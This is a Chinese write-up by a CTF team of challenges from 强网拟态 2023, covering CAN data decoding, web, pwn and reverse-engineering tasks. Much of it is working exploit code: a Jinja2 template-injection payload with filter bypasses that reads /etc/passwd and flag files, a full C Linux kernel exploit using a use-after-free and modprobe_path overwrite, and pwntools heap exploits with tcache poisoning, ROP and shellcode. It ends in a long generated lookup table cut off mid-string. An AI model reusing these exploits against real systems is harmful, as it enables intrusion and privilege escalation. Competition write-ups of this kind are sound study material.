本次强网拟态2023,我们Polaris战队排名第12。

Mimic

Tbox can

题目说了是can数据包,查看文件发现有以下分组:

name type start_time duration identifier num_data_bytes data crc ack

由于开始时间按照顺序排好,持续时间均相同,故有效数据只有data,直接将所有data扔cyberchef转16进制:

image-20231112005838739

找到关键字符串PPASS:L0QGIC_ANAR1YSIS_CSAN_FOR_TFUN

尝试提交,错误,按照语法简单修改下:

flag{L0GIC_ANA1YSIS_CAN_FOR_FUN}

用户鉴权

image-20231112101151331

根据提示做就行了

image-20231112101215321

访问提示的路由

image-20231112101246783

使用post

image-20231112101356496

构造一个提示中的请求

image-20231112101334241

16进制转字符串

image-20231112101440849

得到flag flag{32gsdg679kad}

用户登记系统

通过简单的脚本定位到需要的类

import requests as req
url = "http://116.63.134.105:80/index.php"
for i in range(200):
    payload={"name":"{{"".__class__.__bases__[0].__subclasses__()[%s]}}"%i}
    res = req.post(url=url,data=payload)
    if "WarningMessage" in res.text:
        print(i)
        break
        
# 147

使用""绕过对关键字的过滤,尝试读取/etc/passwd

image-20231112015756110

题目给出flag在/tmp中,尝试读取/tmp/flag,由于返回值中也不能含有flag关键字,所以需要做一层加密,这里引入base64类进行加密

payload:

name={{"".__class__.__bases__[0].__subclasses__()[147].__init__.__globals__["__builtins__"]["ev""al"]("__im""port__")("base64")["b64encode"](("".__class__.__bases__[0].__subclasses__()[147].__init__.__globals__["__builtins__"]["ev""al"]("open")("/tmp/fl""ag").read()).encode())}}

image-20231112015802454

解码得flag

flag{u_win_have_fun}

Crack and find me

查看前端。有key和密文,base64解密反查md5,key是secrets

然后DES解密,按照顺序访问即可:

c593f727b39ad1aad8293b1c9e1305a

‍拟态控制器

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './controller_pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote("pwn-2a1d604c48.challenge.xctf.org.cn", 9999, ssl=True)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

dbgg()
p1 = b'a' * 0x29
r.sendafter('command:', p1)

r.recvuntil('a' * 0x29)
leak = u64(r.recv(7).rjust(8, b'\x00'))
li('leak = ' + hex(leak))

p1 = b'a' * 0x28 + p64(leak) + b'a' * 8 + b'\x0e'
r.sendafter('\n', p1)



r.interactive()

Pwn

water-ker

有一次UAF的机会

case 0x30u:
  if ( !copy_from_user(&a4, v4, 8LL) )
  {
    if ( delete_idx <= 0 && chunk )
    {
      kfree(chunk);
      ++delete_idx;
    }
    return 0LL;
  }
  return -22LL;

UAF后可以有一次修改1个字节的机会

case 0x50u:
  if ( !copy_from_user(&a4, v4, 8LL) )
  {
    if ( edit_idx <= 0 && chunk && !copy_from_user(chunk, a4.buf, 1LL) )
    {
      ++edit_idx;
      return 0LL;
    }
    return 0LL;
  }
  return -22LL;

内核版本 6.4.0

free_list指针在slab块中间位置(0x100的位置),并且free_list开启了指针异或,没有开启Harden_free_list,slab的kmalloc和kfree可以预测。

参考自 https://arttnba3.cn/2023/05/02/CTF-0X08_D3CTF2023_D3KCACHE/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#define F_SETPIPE_SZ	1031

#define ALLOC 0x20
#define DELETE 0x30
#define EDIT 0x50

struct Args
{
    char *buf;
};

int print_hex(void *p, int size)
{
    int i;
    unsigned char *buf = (unsigned char *)p;
    
    if(size % sizeof(void *))
    {
        return 1;
    }
    printf("--------------------------------------------------------------------------------\n");
    for (i = 0; i < size; i += sizeof(void *))
    {
        printf("0x%04x :  %02X %02X %02X %02X %02X %02X %02X %02X     0x%lx\n", 
                i, buf[i+0], buf[i+1], buf[i+2], buf[i+3], buf[i+4], buf[i+5], buf[i+6], buf[i+7], *(unsigned long*)&buf[i]);
    }
    return 0;
}

#define PIPE_LENGTH 200
int pipe_list[PIPE_LENGTH][2];
int pipe_list2[PIPE_LENGTH][2];

/* Get real address */
#define REAL(addr) (kernel_base_addr - 0xffffffff81000000 + (addr))

void exp_modprobe_path_flag()
{
    int exp_fd;
    char *child_args[] = {"/tmp/err", NULL};
    char buf[0x100] = {0};

    exp_fd = open("/tmp/x", O_WRONLY | O_CREAT | O_NOCTTY | O_NONBLOCK, 0755);
    write(exp_fd, "#!/bin/sh\n"
                  "chmod 644 /flag\n",
          26);
    close(exp_fd);

    exp_fd = open("/tmp/err", O_WRONLY | O_CREAT | O_NOCTTY | O_NONBLOCK, 0755);
    write(exp_fd, "\0\0\0\0", 4);
    close(exp_fd);

    execve(child_args[0], child_args, child_args + 1);

    exp_fd = open("/flag", O_RDONLY);
    if (exp_fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    read(exp_fd, buf, sizeof(buf));
    puts(buf);
}

int main()
{
    int fd;
    char buf[0x100];
    int pipe_fd[2];
    struct Args arg;
    int i;
    int target_index, target_index2;
    char buf2[0x1000];
    size_t slab_addr;
    size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
    size_t task, kernel_base_addr = 0xffffffff81000000;
    
    puts("Start");
    
    fd = open("/dev/water", O_RDWR);
    if(fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    memset(buf, 0, sizeof(buf));
    arg.buf = buf;
    ioctl(fd, ALLOC, &arg);

    for(i = 0; i < PIPE_LENGTH; i++)
    {
        if(pipe(pipe_list[i]) == -1)
        {
            perror("pipe");
            exit(EXIT_FAILURE);
        }
    }
    for(i = 0; i < PIPE_LENGTH; i++)
    {
        memset(buf, 'b', sizeof(buf));
        *(int*)buf = i;
        if(write(pipe_list[i][1], buf, sizeof(buf)) == -1)
        {
            perror("write");
            exit(EXIT_FAILURE);
        }
    }

    memset(buf, 0, sizeof(buf));
    arg.buf = buf;
    ioctl(fd, DELETE, &arg);

    if(pipe(pipe_fd) == -1)
    {
        perror("pipe");
        exit(EXIT_FAILURE);
    }
    if(fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000 * 8) == -1)
    {
        perror("pipe");
        exit(EXIT_FAILURE);
    }
    memset(buf, 0, sizeof(buf));
    if(write(pipe_fd[1], buf, sizeof(buf)) == -1)
    {
        perror("write");
        exit(EXIT_FAILURE);
    }

    puts("AA");

    memset(buf, 0, sizeof(buf));
    arg.buf = buf;
    buf[0] = 0x80;
    ioctl(fd, EDIT, &arg);

    memset(buf, 0, sizeof(buf));
    if(read(pipe_fd[0], buf, sizeof(buf)) == -1)
    {
        perror("read");
        exit(EXIT_FAILURE);
    }
    print_hex(buf, sizeof(buf));
    target_index = *(int*)buf;
    if(!target_index)
    {
        exit(EXIT_FAILURE);
    }
    if(close(pipe_list[target_index][0]) == -1)
    {
        perror("close");
        exit(EXIT_FAILURE);
    }
    if(close(pipe_list[target_index][1]) == -1)
    {
        perror("close");
        exit(EXIT_FAILURE);
    }

    memset(buf2, 0, sizeof(buf2));
    if(write(pipe_fd[1], buf2, sizeof(buf2)) == -1)
    {
        perror("write");
        exit(EXIT_FAILURE);
    }

    for(i = 0; i < PIPE_LENGTH; i++)
    {
        if(pipe(pipe_list2[i]) == -1)
        {
            perror("pipe");
            exit(EXIT_FAILURE);
        }
    }

    memset(buf2, 0, sizeof(buf2));
    if(read(pipe_fd[0], buf2, sizeof(buf2)) == -1)
    {
        perror("read");
        exit(EXIT_FAILURE);
    }
    print_hex(buf2, 0x100);
    slab_addr = *(size_t*)(buf2 + 0x58)-0x58;
    printf("slab_addr: 0x%lx\n", slab_addr);
    page_offset_base = slab_addr & 0xfffffffff0000000;
    printf("page_offset_base: 0x%lx\n", page_offset_base);
    kernel_base_addr = *(size_t*)(buf2+0x28) - 0x1246d20;
    printf("kernel_base_addr: 0x%lx\n", kernel_base_addr);

    for(i = 0; i < PIPE_LENGTH; i++)
    {
        if(close(pipe_list2[i][0]) == -1)
        {
            perror("close");
            exit(EXIT_FAILURE);
        }
        if(close(pipe_list2[i][1]) == -1)
        {
            perror("close");
            exit(EXIT_FAILURE);
        }
    }

    memset(buf2, 0, sizeof(buf2));
    if(write(pipe_fd[1], buf2, sizeof(buf2)) == -1)
    {
        perror("write");
        exit(EXIT_FAILURE);
    }
    for(i = 0; i < PIPE_LENGTH; i++)
    {
        if(i != target_index)
        {
            if(fcntl(pipe_list[i][1], F_SETPIPE_SZ, 0x1000 * 8) == -1)
            {
                perror("pipe");
                exit(EXIT_FAILURE);
            }
        }
    }
    memset(buf2, 0, sizeof(buf2));
    if(read(pipe_fd[0], buf2, sizeof(buf2)) == -1)
    {
        perror("read");
        exit(EXIT_FAILURE);
    }
    print_hex(buf2, 0x100);
    vmemmap_base = *(size_t*)(buf2+0) & 0xfffffffff0000000;
    printf("vmemmap_base: 0x%lx\n", vmemmap_base);

    // memset(buf, 0, sizeof(buf));
    *(size_t*)(buf2+0) = slab_addr + 0x80;
    if(write(pipe_fd[1], buf2, sizeof(buf2)) == -1)
    {
        perror("write");
        exit(EXIT_FAILURE);
    }

    for(i = 0; i < PIPE_LENGTH; i++)
    {
        if(i != target_index)
        {
            memset(buf, 0, sizeof(buf));
            if(read(pipe_list[i][0], buf, sizeof(buf)) == -1)
            {
                perror("read");
                exit(EXIT_FAILURE);
            }
            if(*(size_t *)(buf+8) != 0x6262626262626262)
            {
                target_index2 = i;
                printf("target_index2: %d\n", target_index2);
                break;
            }
        }
    }
    memset(buf2, 0, sizeof(buf2));
    if(write(pipe_list[target_index2][1], buf2, 0xce0) == -1)
    {
        perror("read");
        exit(EXIT_FAILURE);
    }

    memset(buf2, 0, sizeof(buf2));
    if(read(pipe_fd[0], buf2, sizeof(buf2)) == -1)
    {
        perror("read");
        exit(EXIT_FAILURE);
    }


    *(size_t*)(buf2+0) = vmemmap_base + (((REAL(0xffffffff831d8ce0) & (~0xfff)) - page_offset_base) / 0x1000) * 0x40;
    *(int*)(buf2+0xc) = 0xce0;
    if(write(pipe_fd[1], buf2, sizeof(buf2)) == -1)
    {
        perror("write");
        exit(EXIT_FAILURE);
    }

    puts("BB");
    getchar();

    memset(buf2, 0, sizeof(buf2));
    strcpy(buf2, "/tmp/x");
    if(write(pipe_list[target_index2][1], buf2, 0x10) == -1)
    {
        perror("read");
        exit(EXIT_FAILURE);
    }

    exp_modprobe_path_flag();

    puts("CC");
    getchar();
    close(fd);

    puts("End");
    return 0;
}

noob_heap

一道利用比较刁钻的题目

libc-2.35-4,四功能齐全,漏洞点存在于 edit 功能的 off by null

image-20231112075518395

而这道题的难点在于 add 功能只能创建最大 0x78 大小的堆块

这让我们很难通过 off by null 漏洞进行任何利用,不过在 read_int 函数

可以看到调用 scanf 函数,这样我们可以利用 scanf 函数的特性去分配出 small bin , large bin ,unsorted bin

当堆中存在了这些 bin ,那么我们就可以利用 off by null 来进行堆块重叠

在这道题目中,由于 add 功能并不会进行堆块的写操作,因此配合 show 功能我们可以很容易获取内存信息,如 heap_base,这样就相当于解决了 unlink 中的链表检测

之后就需要构造巧妙的堆分水,来进行 chunk overflow

由于这一道题目无法直接对大堆块进行 free,所以我们需要大概构造如下的堆布局

image-20231112082108064

之后,我们把上述共计 14 个 0x78 chunk 都 free,再通过 scanf 分配大堆块来触发 fast bin 的合并,这样,就会变成如下堆布局

image-20231112082443714

之后再申请回来,构造如下布局

image-20231112082608484

接着继续 free 堆块,形成如下布局

image-20231112083031168

同时利用 0x100 unsorted bin 上面的堆块 chunkA,配合 off by null 修改 0x100 unsorted bin 的 prev size 和 size,同时伪造好 fd 和 bk

接着继续利用 scanf 分配大堆块,触发堆块合并,就完成了堆块重叠,形成如下布局

image-20231112083258976

可以发现 chunkA 被合并,当然到这里还不是结束,因为我们无法把 chunkA 申请出来,如果我们一直申请的话,那么显然的,会形成如下布局

image-20231112083757245

然后就无法继续切割 small bin 了,这是因为 small bin 下面的 0x78 chunk 的 p 位是 1,导致 malloc 函数申请堆块时候的检测无法通过

所以,我们需要继续利用这种方法进行堆块重叠,构造如下布局

image-20231112084327316

接着利用 chunk B 配合 off by null 修改 0x181 small bin 的 prev size 和 size,同时伪造好 fd 和 bk

接着继续利用 scanf 分配大堆块,触发堆块合并,再次完成了堆块重叠,这样,就可以把 chunkB 给合并,并且可以把 chunk B 申请出来,实现 UAF

之后就是通过打 tcache struct ,打栈 orw

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote("pwn-118cefd3bd.challenge.xctf.org.cn", 9999, ssl=True)
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size):
    sla(b'>> ', b'1')
    sla(b'Size: ', str(size))
def free(idx):
    sla(b'>> ', b'2')
    sla(b'Index: ', str(idx))
def edit(idx, data):
    sla(b'>> ', b'3')
    sla(b'Index: ', str(idx))
    sa(b'Note: ', data)
def show(idx):
    sla(b'>> ', b'4')
    sla(b'Index: ', str(idx))

def get_big(size):
    sla(b'>> ', b'1'*size)

add(0x78) #index 0
free(0)
add(0x78) #index 0
show(0)
key = u64(p.recv(5).ljust(0x8, b'\x00'))
heap_base = key << 12


for i in range(0x6):
    add(0x78) #index 1 ~ 6

for i in range(18):
    add(0x78) #index 7 ~ 24

for i in range(7):
    free(i) #index 0 ~ 6

for i in range(9):
    free(i + 7) #index 7 ~ 15

get_big(0x500)
for i in range(7):
    add(0x78) #index 0 ~ 6

add(0x78) #index 7
show(7)
libc_base = l64() - 0x21a0f0

for i in range(6):
    add(0x78) #index 8 ~ 14


for i in range(7):
    free(i)
#for i in range(7):
#	free(i + 16)

edit(13, p64((heap_base + 0x910))*2 + b'\x00'*0x60 + p64(0x80))
free(12)
free(11)

get_big(0x500)

edit(10, p64((heap_base + 0x790))*2 + b'\x00'*0x60 + p64(0x80))
free(9)

get_big(0x500)

for i in range(7):
    add(0x78) #index 0 ~ 6

environ = libc_base + libc.sym['__environ']

add(0x78) #index 11
add(0x78) #index 12
add(0x78) #index 14
add(0x78) #index 14 -> index 10
free(0)
free(10)
edit(14, p64((heap_base + 0x50) ^ key))
add(0x78) 
add(0x78) #index 10

free(2)

pl = b'\x00\x00'*0x20 + p64(0)*6 + p64(environ)
edit(10, pl)
add(0x78)
show(2)
stack = l64()

free(3)
pl = b'\x00\x00'*0x20 + p64(0)*6 + p64(stack - 0x148)
edit(10, pl)

add(0x78)

ret = libc_base + 0x29139
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx = libc_base + 0x796a2
mprotect = libc_base + libc.sym['__mprotect']

#debug('b *$rebase(0x17c9)')

sc = 'push rsp; pop rsi; xor rdi, rdi; push 0x1000; pop rdx; xor rax, rax; syscall'

pl = p64(0)*3
pl += p64(rdi) + p64((stack >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx) + p64(7)
pl += p64(mprotect) + p64(stack - 0x148 + 0x58)
pl += asm(sc)

edit(3, pl)

sleep(1)
pl = b'a'*0x10 + asm(shellcraft.cat('/flag'))
s(pl)

lg('stack', stack)
lg('libc_base', libc_base)
lg('heap_base', heap_base)
lg('key', key)
#debug()

while 1 : pr()

pause()

Re

fisher

绕过反调试后(反调试有很多 需要Patch)

发现程序的逻辑是换表

每两个为一组 映射为对应的两个字符

调试取出对应的字符即可

enc="N17EHf1DWHD40DWH/f79E05EfIH1E179E1"

# all = "ghijklpqrstuvwxyzABCabcDEFdef0123GHI4567JKL+/MNOmnoPQRSXYZ8TUVW9"
# for i in all:
#     for j in all:
#         if(i!=j):
#             print(i+j,end='')
            
cin="agahaiajakalapaqarasatauavawaxayazaAaBaCabacaDaEaFadaeafa0a1a2a3aGaHaIa4a5a6a7aJaKaLa+a/aMaNaOamanaoaPaQaRaSaXaYaZa8aTaUaVaWa9ghgigjgkglgpgqgrgsgtgugvgwgxgygzgAgBgCgagbgcgDgEgFgdgegfg0g1g2g3gGgHgIg4g5g6g7gJgKgLg+g/gMgNgOgmgngogPgQgRgSgXgYgZg8gTgUgVgWg9hghihjhkhlhphqhrhshthuhvhwhxhyhzhAhBhChahbhchDhEhFhdhehfh0h1h2h3hGhHhIh4h5h6h7hJhKhLh+h/hMhNhOhmhnhohPhQhRhShXhYhZh8hThUhVhWh9igihijikilipiqirisitiuiviwixiyiziAiBiCiaibiciDiEiFidieifi0i1i2i3iGiHiIi4i5i6i7iJiKiLi+i/iMiNiOiminioiPiQiRiSiXiYiZi8iTiUiViWi9jgjhjijkjljpjqjrjsjtjujvjwjxjyjzjAjBjCjajbjcjDjEjFjdjejfj0j1j2j3jGjHjIj4j5j6j7jJjKjLj+j/jMjNjOjmjnjojPjQjRjSjXjYjZj8jTjUjVjWj9kgkhkikjklkpkqkrksktkukvkwkxkykzkAkBkCkakbkckDkEkFkdkekfk0k1k2k3kGkHkIk4k5k6k7kJkKkLk+k/kMkNkOkmknkokPkQkRkSkXkYkZk8kTkUkVkWk9lglhliljlklplqlrlsltlulvlwlxlylzlAlBlClalblclDlElFldlelfl0l1l2l3lGlHlIl4l5l6l7lJlKlLl+l/lMlNlOlmlnlolPlQlRlSlXlYlZl8lTlUlVlWl9pgphpipjpkplpqprpsptpupvpwpxpypzpApBpCpapbpcpDpEpFpdpepfp0p1p2p3pGpHpIp4p5p6p7pJpKpLp+p/pMpNpOpmpnpopPpQpRpSpXpYpZp8pTpUpVpWp9qgqhqiqjqkqlqpqrqsqtquqvqwqxqyqzqAqBqCqaqbqcqDqEqFqdqeqfq0q1q2q3qGqHqIq4q5q6q7qJqKqLq+q/qMqNqOqmqnqoqPqQqRqSqXqYqZq8qTqUqVqWq9rgrhrirjrkrlrprqrsrtrurvrwrxryrzrArBrCrarbrcrDrErFrdrerfr0r1r2r3rG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